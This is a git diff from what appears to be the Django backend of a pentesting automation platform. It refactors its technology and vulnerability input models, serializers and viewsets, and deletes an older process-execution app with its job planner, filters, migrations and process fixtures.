a/src/backend/parameters/migrations/0001_initial.py +++ /dev/null @@ -1,45 +0,0 @@ -# Generated by Django 3.2.16 on 2023-01-08 12:56 - -from django.db import migrations, models -import django.db.models.deletion -import input_types.base -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('targets', '0002_auto_20230108_1356'), - ] - - operations = [ - migrations.CreateModel( - name='InputVulnerability', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('cve', models.TextField(max_length=20, validators=[security.input_validation.validate_cve])), - ('target', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='input_vulnerabilities', to='targets.target')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.CreateModel( - name='InputTechnology', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, validators=[security.input_validation.validate_name])), - ('version', models.TextField(blank=True, max_length=100, null=True, validators=[security.input_validation.validate_name])), - ('target', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='input_technologies', to='targets.target')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - migrations.AddConstraint( - model_name='inputvulnerability', - constraint=models.UniqueConstraint(fields=('target', 'cve'), name='unique input vulnerability'), - ), - migrations.AddConstraint( - model_name='inputtechnology', - constraint=models.UniqueConstraint(fields=('target', 'name', 'version'), name='unique input technology'), - ), - ] diff --git a/src/backend/parameters/migrations/__init__.py b/src/backend/parameters/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index fb736770d..19686bd79 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -1,52 +1,40 @@ -from typing import Any, Dict, cast +from typing import Any, Dict from django.db import models -from findings.enums import Severity -from input_types.enums import InputKeyword -from input_types.models import BaseInput +from framework.enums import InputKeyword +from framework.models import BaseInput from projects.models import Project from security.input_validation import validate_cve, validate_name from targets.models import Target -from tools.models import Input # Create your models here. -class InputTechnology(models.Model, BaseInput): - '''Input technology model.''' +class InputTechnology(BaseInput): + """Input technology model.""" - target = models.ForeignKey(Target, related_name='input_technologies', on_delete=models.CASCADE) # Related target - name = models.TextField(max_length=100, validators=[validate_name]) # Technology name - version = models.TextField(max_length=100, validators=[validate_name], blank=True, null=True) # Technology version + target = models.ForeignKey( + Target, related_name="input_technologies", on_delete=models.CASCADE + ) + name = models.TextField(max_length=100, validators=[validate_name]) + version = models.TextField( + max_length=100, validators=[validate_name], blank=True, null=True + ) - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Target, Technology and Version - models.UniqueConstraint(fields=['target', 'name', 'version'], name='unique input technology') - ] + filters = [BaseInput.Filter(type=str, field="name", contains=True)] - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - return not input.filter or input.filter.lower() in self.name.lower() + class Meta: + unique_together = ["target", "name", "version"] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. + """Get useful information from this instance to be used in tool execution as argument. Args: accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' + """ output = self.target.parse() output[InputKeyword.TECHNOLOGY.name.lower()] = self.name if self.version: @@ -54,79 +42,64 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: return output def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' - base = f'{self.target.__str__()} - {self.name}' - return f'{base} - {self.version}' if self.version else base + """ + base = f"{self.target.__str__()} - {self.name}" + return f"{base} - {self.version}" if self.version else base def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. + """Get the related project for the instance. This will be used for authorization purposes. Returns: Project: Related project entity - ''' + """ return self.target.project -class InputVulnerability(models.Model, BaseInput): - '''Input vulnerability model.''' +class InputVulnerability(BaseInput): + """Input vulnerability model.""" - target = models.ForeignKey(Target, related_name='input_vulnerabilities', on_delete=models.CASCADE) # Related target - cve = models.TextField(max_length=20, validators=[validate_cve]) # CVE + target = models.ForeignKey( + Target, related_name="input_vulnerabilities", on_delete=models.CASCADE + ) + cve = models.TextField(max_length=20, validators=[validate_cve]) - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Target and CVE - models.UniqueConstraint(fields=['target', 'cve'], name='unique input vulnerability') - ] + filters = [ + BaseInput.Filter(type=str, field="cve", processor=lambda v: "cve"), + BaseInput.Filter(type=str, field="cve", processor=lambda v: v.lower()), + ] - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. - - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - return ( - not input.filter or - input.filter.capitalize() in cast(models.TextChoices, Severity) or - input.filter.lower().startswith('cwe-') or - input.filter.lower() == 'cve' or - (input.filter.lower().startswith('cve-') and input.filter.lower() == self.cve.lower()) - ) + class Meta: + unique_together = ["target", "cve"] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. + """Get useful information from this instance to be used in tool execution as argument. Args: accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' + """ output = self.target.parse() output[InputKeyword.CVE.name.lower()] = self.cve return output def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' - return f'{self.target.__str__()} - {self.cve}' + """ + return f"{self.target.__str__()} - {self.cve}" def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. + """Get the related project for the instance. This will be used for authorization purposes. Returns: Project: Related project entity - ''' + """ return self.target.project diff --git a/src/backend/parameters/serializers.py b/src/backend/parameters/serializers.py index 4255e090d..2c10d0e5a 100644 --- a/src/backend/parameters/serializers.py +++ b/src/backend/parameters/serializers.py @@ -1,69 +1,21 @@ from typing import Any, Dict from django.forms import ValidationError -from rest_framework import serializers - from parameters.models import InputTechnology, InputVulnerability +from rest_framework.serializers import ModelSerializer -class InputTechnologySerializer(serializers.ModelSerializer): - '''Serializer to manage input technologies via API.''' +class InputTechnologySerializer(ModelSerializer): + """Serializer to manage input technologies via API.""" class Meta: - '''Serializer metadata.''' - model = InputTechnology - # Input technology fields exposed via API - fields = ('id', 'target', 'name', 'version') - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - if InputTechnology.objects.filter( - target=attrs['target'], - name=attrs['name'], - version=attrs['version'] - ).exists(): - raise ValidationError({ - 'name': 'This name already exists in this target', - 'version': 'This version already exists for this technology in this target' - }) - return attrs + fields = ("id", "target", "name", "version") -class InputVulnerabilitySerializer(serializers.ModelSerializer): - '''Serializer to manage input vulnerabilities via API.''' +class InputVulnerabilitySerializer(ModelSerializer): + """Serializer to manage input vulnerabilities via API.""" class Meta: - '''Serializer metadata.''' - model = InputVulnerability - # Input vulnerabilities fields exposed via API - fields = ('id', 'target', 'cve') - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - if InputVulnerability.objects.filter(target=attrs['target'], cve=attrs['cve']).exists(): - raise ValidationError({'cve': 'This CVE already exists in this target'}) - return attrs + fields = ("id", "target", "cve") diff --git a/src/backend/parameters/views.py b/src/backend/parameters/views.py index dc172b331..2eefe37f7 100644 --- a/src/backend/parameters/views.py +++ b/src/backend/parameters/views.py @@ -1,48 +1,47 @@ -from api.views import CreateViewSet, GetViewSet -from rest_framework.mixins import (CreateModelMixin, DestroyModelMixin, - ListModelMixin, RetrieveModelMixin) - +from framework.views import BaseViewSet from parameters.filters import InputTechnologyFilter, InputVulnerabilityFilter from parameters.models import InputTechnology, InputVulnerability -from parameters.serializers import (InputTechnologySerializer, - InputVulnerabilitySerializer) +from parameters.serializers import ( + InputTechnologySerializer, + InputVulnerabilitySerializer, +) # Create your views here. -class InputTechnologyViewSet( - GetViewSet, - CreateViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''InputTechnology ViewSet that includes: get, retrieve, create, and delete features.''' +class InputTechnologyViewSet(BaseViewSet): + """InputTechnology ViewSet that includes: get, retrieve, create, and delete features.""" - queryset = InputTechnology.objects.all().order_by('-id') + queryset = InputTechnology.objects.all() serializer_class = InputTechnologySerializer filterset_class = InputTechnologyFilter # Fields used to search input technologies - search_fields = ['name', 'version'] + search_fields = ["name", "version"] + ordering_fields = ["id", "target", "name"] + http_method_names = [ + "get", + "post", + "delete", + ] + # Project members field used for authorization purposes - members_field = 'target__project__members' + # members_field = 'target__project__members' -class InputVulnerabilityViewSet( - GetViewSet, - CreateViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''InputVulnerability ViewSet that includes: get, retrieve, create, and delete features.''' +class InputVulnerabilityViewSet(BaseViewSet): + """InputVulnerability ViewSet that includes: get, retrieve, create, and delete features.""" - queryset = InputVulnerability.objects.all().order_by('-id') + queryset = InputVulnerability.objects.all() serializer_class = InputVulnerabilitySerializer filterset_class = InputVulnerabilityFilter # Fields used to search input vulnerabilities - search_fields = ['cve'] + search_fields = ["cve"] + ordering_fields = ["id", "target", "cve"] + http_method_names = [ + "get", + "post", + "delete", + ] + # Project members field used for authorization purposes - members_field = 'target__project__members' + # members_field = "target__project__members" diff --git a/src/backend/processes/__init__.py b/src/backend/processes/__init__.py deleted file mode 100644 index b8a79c94a..000000000 --- a/src/backend/processes/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Processes.''' diff --git a/src/backend/processes/admin.py b/src/backend/processes/admin.py deleted file mode 100644 index cad120686..000000000 --- a/src/backend/processes/admin.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.contrib import admin -from processes.models import Process, Step - -# Register your models here. - -admin.site.register(Process) -admin.site.register(Step) diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py deleted file mode 100644 index dfdb2fe84..000000000 --- a/src/backend/processes/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class ProcessesConfig(AppConfig): - '''Processes Django application.''' - - name = 'processes' diff --git a/src/backend/processes/executor/__init__.py b/src/backend/processes/executor/__init__.py deleted file mode 100644 index 7168e2b63..000000000 --- a/src/backend/processes/executor/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Process executor.''' diff --git a/src/backend/processes/executor/callback.py b/src/backend/processes/executor/callback.py deleted file mode 100644 index 2b7eee902..000000000 --- a/src/backend/processes/executor/callback.py +++ /dev/null @@ -1,34 +0,0 @@ -import logging -from typing import Any - -from django.utils import timezone -from executions.models import Execution -from tasks.enums import Status -from tools.tools.base_tool import BaseTool - -logger = logging.getLogger() # Rekono logger - - -def process_callback(job: Any, connection: Any, result: BaseTool, *args: Any, **kwargs: Any) -> None: - '''Run code after execution job success. In this case, check if all executions of the same task has been finished. - - Args: - job (Any): Not used. - connection (Any): Not used. - result (BaseTool): Successful execution job result - ''' - task = result.execution.task # Get the associated task - # Check if there are pending executions (requested or running) associated to this task - pending_executions = Execution.objects.filter(task=task, status__in=[Status.REQUESTED, Status.RUNNING]).exists() - if not bool(pending_executions): # No pending executions found - # Check if there are error executions associated to this task - error_executions = Execution.objects.filter(task=task, status=Status.ERROR).exists() - # Check if there are cancelled executions associated to this task - cancelled_executions = Execution.objects.filter(task=task, status=Status.CANCELLED).exists() - # Set task status to error if error executions found, completed otherwise - task_status = Status.COMPLETED if not bool(error_executions) else Status.ERROR - # Set task status to cancelled if cancelled executions found - task.status = task_status if not bool(cancelled_executions) else Status.CANCELLED - task.end = timezone.now() # Update the task end date - task.save(update_fields=['status', 'end']) - logger.info(f'[Task] Task {task.id} has been completed with {task.status} status') diff --git a/src/backend/processes/executor/executor.py b/src/backend/processes/executor/executor.py deleted file mode 100644 index e3ee42bee..000000000 --- a/src/backend/processes/executor/executor.py +++ /dev/null @@ -1,121 +0,0 @@ -import logging -from typing import List, Set - -from django.db.models import Max -from executions import utils -from executions.models import Execution -from executions.queue import producer -from input_types.models import InputType -from processes.executor.callback import process_callback -from processes.models import Step -from rq.job import Job -from targets.models import Target, TargetPort -from tasks.models import Task -from tools.models import Argument, Intensity - -logger = logging.getLogger() # Rekono logger - - -class ExecutionJob: - '''Represents an execution job that will be enqueued in executions queue.''' - - def __init__(self, step: Step, intensity: Intensity) -> None: - '''Job constructor. - - Args: - step (Step): Process step to be executed - intensity (Intensity): Tool intensity to be applied in the execution - ''' - self.step = step # Process step to be executed - self.intensity = intensity # Intensity that will be applied - self.arguments = Argument.objects.filter(tool=step.tool).all() # Get implicated arguments - self.inputs = InputType.objects.filter(inputs__argument__tool=step.tool).distinct() # Get implicated inputs - # Get implicated outputs - self.outputs = InputType.objects.filter(outputs__configuration=step.configuration).distinct() - # Save the related executions queue jobs. Initialized to empty - self.jobs: List[Job] = [] - # Save previous executions queue jobs whose output will be needed to execute this job. Initialized to empty - self.dependencies: Set[Job] = set() - # Save the Input Types that will be obtained from dependencies - self.dependencies_coverage: List[InputType] = [] - - -def create_plan(task: Task) -> List[ExecutionJob]: - '''Create an execution plan for a task that requests a process execution. - - Args: - task (Task): Task that requests a process execution - - Returns: - List[ExecutionJob]: List of jobs that should be executed - ''' - execution_plan: List[ExecutionJob] = [] # Execution plan initialized to empty - # Get all process steps sort by stage and priority (descendent), so steps from previous steps and - # with greater priority will be included before in the plan - steps = Step.objects.annotate( - max_input=Max('tool__arguments__inputs__type__id'), - max_output=Max('configuration__outputs__type__id') - ).filter( - process=task.process - ).order_by( - 'configuration__stage', '-priority', 'max_output', 'max_input' - ) - for step in steps: # For each step - # Get the greater intensity for this tool, limited to the task intensity - # If no intensity found with lower value than the task intensity, the step will be skipped - intensity = Intensity.objects.filter(tool=step.tool, value__lte=task.intensity).order_by('-value').first() - if intensity: # Intensity found - j = ExecutionJob(step, intensity) # Execution job initialization - for job in execution_plan: # For each planned job (previous jobs) - for output in job.outputs: # For each previous job output - # If output type is in current step input types - if output in j.inputs: - # Add previous job as current job dependency - j.dependencies.add(job) - # Add output as dependency covered input type - j.dependencies_coverage.append(output) - execution_plan.append(j) # Add the job to the execution plan - return execution_plan - - -def execute(task: Task) -> None: - '''Execute a task that requests a process execution. - - Args: - task (Task): Task that requests a process execution - ''' - execution_plan = create_plan(task) # Create the execution plan - logger.info(f'[Process] Execution plan has been created for task {task.id} with {len(execution_plan)} jobs') - for job in execution_plan: # For each planned jobs - # Check unneeded target types, due to dependencies with previous jobs - covered_targets = [i.callback_model for i in job.dependencies_coverage if i.callback_model is not None] - # Wordlists are included in targets because they never will be covered by dependencies - targets = list(task.wordlists.all()) - app_label = Target._meta.app_label - if f'{app_label}.{Target._meta.model_name}' not in covered_targets: # Target is not covered by dependencies - targets.append(task.target) # Add task target to targets - if f'{app_label}.{TargetPort._meta.model_name}' not in covered_targets: - # TargetPort is not covered by dependencies - targets.extend(list(task.target.target_ports.all())) # Add task target ports to targets - # Get the executions required for this job based on targets and tool arguments. - # A job can need multiple executions. For example, if the user includes more than one Wordlist and - # the process includes Dirsearch execution that only accepts one wordlist as argument. Rekono will - # generate one Dirsearch execution for each wordlist provided by the user. It can also occur with - # TargetPort, InputTechnology or InputVulnerability. - executions = utils.get_executions_from_findings(targets, job.step.tool) - for execution_targets in executions: # For each job execution - # Create the Execution entity - execution = Execution.objects.create(task=task, tool=job.step.tool, configuration=job.step.configuration) - # Enqueue the execution in the executions queue, and save the generated job in the planned job - # It's important to get dependency jobs in the next planned jobs - job.jobs.append( - producer.producer( - execution, - job.intensity, - job.arguments, - execution_targets, - callback=process_callback, - # Set job dependencies from plan - dependencies=[job_id for j in job.dependencies for job_id in j.jobs] - ) - ) diff --git a/src/backend/processes/filters.py b/src/backend/processes/filters.py deleted file mode 100644 index 55491dd64..000000000 --- a/src/backend/processes/filters.py +++ /dev/null @@ -1,50 +0,0 @@ -from django_filters.rest_framework import FilterSet, filters -from likes.filters import LikeFilter - -from processes.models import Process, Step - - -class ProcessFilter(LikeFilter): - '''FilterSet to filter and sort Process entities.''' - - o = filters.OrderingFilter(fields=('name', 'creator', 'likes_count')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = Process - fields = { # Filter fields - 'name': ['exact', 'icontains'], - 'description': ['exact', 'icontains'], - 'creator': ['exact'], - 'creator__username': ['exact', 'icontains'], - 'steps__tool': ['exact'], - 'steps__tool__name': ['exact', 'icontains'], - 'steps__configuration': ['exact'], - 'steps__configuration__name': ['exact', 'icontains'], - 'steps__configuration__stage': ['exact'], - 'tags__name': ['in'], - } - - -class StepFilter(FilterSet): - '''FilterSet to filter and sort Step entities.''' - - o = filters.OrderingFilter(fields=('process', 'tool', 'configuration', 'priority')) # Ordering fields - - class Meta: - '''FilterSet metadata.''' - - model = Step - fields = { # Filter fields - 'process__name': ['exact', 'icontains'], - 'process__description': ['exact', 'icontains'], - 'process__creator': ['exact'], - 'tool': ['exact'], - 'tool__name': ['exact', 'icontains'], - 'tool__command': ['exact', 'icontains'], - 'configuration': ['exact'], - 'configuration__name': ['exact', 'icontains'], - 'configuration__stage': ['exact'], - 'priority': ['exact'], - } diff --git a/src/backend/processes/fixtures/1_processes.json b/src/backend/processes/fixtures/1_processes.json deleted file mode 100644 index 0104da095..000000000 --- a/src/backend/processes/fixtures/1_processes.json +++ /dev/null @@ -1,58 +0,0 @@ -[ - { - "model": "processes.process", - "pk": 1, - "fields": { - "name": "All tools", - "description": "Run all tools with the most relevant configurations. This process covers all the pentesting stages from OSINT to exploits finding." - } - }, - { - "model": "processes.process", - "pk": 2, - "fields": { - "name": "HTTP Analysis", - "description": "Analysis of HTTP services after port enumeration. Search for endpoints, TLS vulnerabilities, CMS information, Log4Shell, etc." - } - }, - { - "model": "processes.process", - "pk": 3, - "fields": { - "name": "FTP Analysis", - "description": "Analysis of FTP services using nmap with NSE scripts." - } - }, - { - "model": "processes.process", - "pk": 4, - "fields": { - "name": "SSH Analysis", - "description": "Analysis of SSH services after port enumeration, using ssh-audit." - } - }, - { - "model": "processes.process", - "pk": 5, - "fields": { - "name": "SMB Analysis", - "description": "Analysis of SMB services using nmap with NSE scripts and smbmap." - } - }, - { - "model": "processes.process", - "pk": 6, - "fields": { - "name": "OSINT", - "description": "Run OSINT tools to gather publicly available information." - } - }, - { - "model": "processes.process", - "pk": 7, - "fields": { - "name": "Active Analysis", - "description": "Run all active tools with the most relevant configurations. This process covers all active pentesting stages from enumeration to exploits finding." - } - } -] \ No newline at end of file diff --git a/src/backend/processes/fixtures/2_steps.json b/src/backend/processes/fixtures/2_steps.json deleted file mode 100644 index df455c11c..000000000 --- a/src/backend/processes/fixtures/2_steps.json +++ /dev/null @@ -1,722 +0,0 @@ -[ - { - "model": "processes.step", - "pk": 1, - "fields": { - "process": 1, - "tool": 3, - "configuration": 19, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 2, - "fields": { - "process": 1, - "tool": 12, - "configuration": 30, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 3, - "fields": { - "process": 1, - "tool": 13, - "configuration": 31, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 4, - "fields": { - "process": 1, - "tool": 1, - "configuration": 38, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 5, - "fields": { - "process": 1, - "tool": 2, - "configuration": 15, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 6, - "fields": { - "process": 1, - "tool": 4, - "configuration": 21, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 7, - "fields": { - "process": 1, - "tool": 5, - "configuration": 22, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 8, - "fields": { - "process": 1, - "tool": 6, - "configuration": 23, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 9, - "fields": { - "process": 1, - "tool": 7, - "configuration": 24, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 10, - "fields": { - "process": 1, - "tool": 8, - "configuration": 25, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 11, - "fields": { - "process": 1, - "tool": 11, - "configuration": 28, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 12, - "fields": { - "process": 1, - "tool": 11, - "configuration": 29, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 13, - "fields": { - "process": 1, - "tool": 14, - "configuration": 32, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 14, - "fields": { - "process": 1, - "tool": 15, - "configuration": 33, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 15, - "fields": { - "process": 1, - "tool": 16, - "configuration": 34, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 16, - "fields": { - "process": 1, - "tool": 17, - "configuration": 36, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 17, - "fields": { - "process": 1, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 18, - "fields": { - "process": 1, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 19, - "fields": { - "process": 2, - "tool": 1, - "configuration": 3, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 20, - "fields": { - "process": 2, - "tool": 2, - "configuration": 15, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 21, - "fields": { - "process": 2, - "tool": 4, - "configuration": 21, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 22, - "fields": { - "process": 2, - "tool": 5, - "configuration": 22, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 23, - "fields": { - "process": 2, - "tool": 6, - "configuration": 23, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 24, - "fields": { - "process": 2, - "tool": 7, - "configuration": 24, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 25, - "fields": { - "process": 2, - "tool": 8, - "configuration": 25, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 26, - "fields": { - "process": 2, - "tool": 11, - "configuration": 28, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 27, - "fields": { - "process": 2, - "tool": 11, - "configuration": 29, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 28, - "fields": { - "process": 2, - "tool": 14, - "configuration": 32, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 29, - "fields": { - "process": 2, - "tool": 15, - "configuration": 33, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 30, - "fields": { - "process": 2, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 31, - "fields": { - "process": 2, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 32, - "fields": { - "process": 3, - "tool": 1, - "configuration": 14, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 33, - "fields": { - "process": 3, - "tool": 5, - "configuration": 22, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 34, - "fields": { - "process": 3, - "tool": 6, - "configuration": 23, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 35, - "fields": { - "process": 3, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 36, - "fields": { - "process": 3, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 37, - "fields": { - "process": 4, - "tool": 1, - "configuration": 3, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 38, - "fields": { - "process": 4, - "tool": 16, - "configuration": 34, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 39, - "fields": { - "process": 4, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 40, - "fields": { - "process": 4, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 41, - "fields": { - "process": 5, - "tool": 1, - "configuration": 37, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 42, - "fields": { - "process": 5, - "tool": 17, - "configuration": 36, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 43, - "fields": { - "process": 5, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 44, - "fields": { - "process": 5, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 45, - "fields": { - "process": 6, - "tool": 3, - "configuration": 19, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 46, - "fields": { - "process": 6, - "tool": 12, - "configuration": 30, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 47, - "fields": { - "process": 6, - "tool": 13, - "configuration": 31, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 48, - "fields": { - "process": 1, - "tool": 18, - "configuration": 39, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 49, - "fields": { - "process": 2, - "tool": 18, - "configuration": 39, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 50, - "fields": { - "process": 7, - "tool": 1, - "configuration": 38, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 51, - "fields": { - "process": 7, - "tool": 2, - "configuration": 15, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 52, - "fields": { - "process": 7, - "tool": 4, - "configuration": 21, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 53, - "fields": { - "process": 7, - "tool": 5, - "configuration": 22, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 54, - "fields": { - "process": 7, - "tool": 6, - "configuration": 23, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 55, - "fields": { - "process": 7, - "tool": 7, - "configuration": 24, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 56, - "fields": { - "process": 7, - "tool": 8, - "configuration": 25, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 57, - "fields": { - "process": 7, - "tool": 11, - "configuration": 28, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 58, - "fields": { - "process": 7, - "tool": 11, - "configuration": 29, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 59, - "fields": { - "process": 7, - "tool": 14, - "configuration": 32, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 60, - "fields": { - "process": 7, - "tool": 15, - "configuration": 33, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 61, - "fields": { - "process": 7, - "tool": 16, - "configuration": 34, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 62, - "fields": { - "process": 7, - "tool": 17, - "configuration": 36, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 63, - "fields": { - "process": 7, - "tool": 9, - "configuration": 26, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 64, - "fields": { - "process": 7, - "tool": 10, - "configuration": 27, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 65, - "fields": { - "process": 7, - "tool": 18, - "configuration": 39, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 66, - "fields": { - "process": 1, - "tool": 20, - "configuration": 46, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 67, - "fields": { - "process": 1, - "tool": 20, - "configuration": 47, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 68, - "fields": { - "process": 1, - "tool": 20, - "configuration": 48, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 69, - "fields": { - "process": 2, - "tool": 20, - "configuration": 48, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 70, - "fields": { - "process": 6, - "tool": 20, - "configuration": 46, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 71, - "fields": { - "process": 7, - "tool": 20, - "configuration": 47, - "priority": 1 - } - }, - { - "model": "processes.step", - "pk": 72, - "fields": { - "process": 7, - "tool": 20, - "configuration": 48, - "priority": 1 - } - } -] \ No newline at end of file diff --git a/src/backend/processes/migrations/0001_initial.py b/src/backend/processes/migrations/0001_initial.py deleted file mode 100644 index 60d1f0f7e..000000000 --- a/src/backend/processes/migrations/0001_initial.py +++ /dev/null @@ -1,33 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='Process', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, unique=True, validators=[security.input_validation.validate_name])), - ('description', models.TextField(max_length=300, validators=[security.input_validation.validate_text])), - ], - options={ - 'abstract': False, - }, - ), - migrations.CreateModel( - name='Step', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('priority', models.IntegerField(default=1, validators=[security.input_validation.validate_number])), - ], - ), - ] diff --git a/src/backend/processes/migrations/0002_initial.py b/src/backend/processes/migrations/0002_initial.py deleted file mode 100644 index eddb8a539..000000000 --- a/src/backend/processes/migrations/0002_initial.py +++ /dev/null @@ -1,32 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.db import migrations, models -import django.db.models.deletion - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('tools', 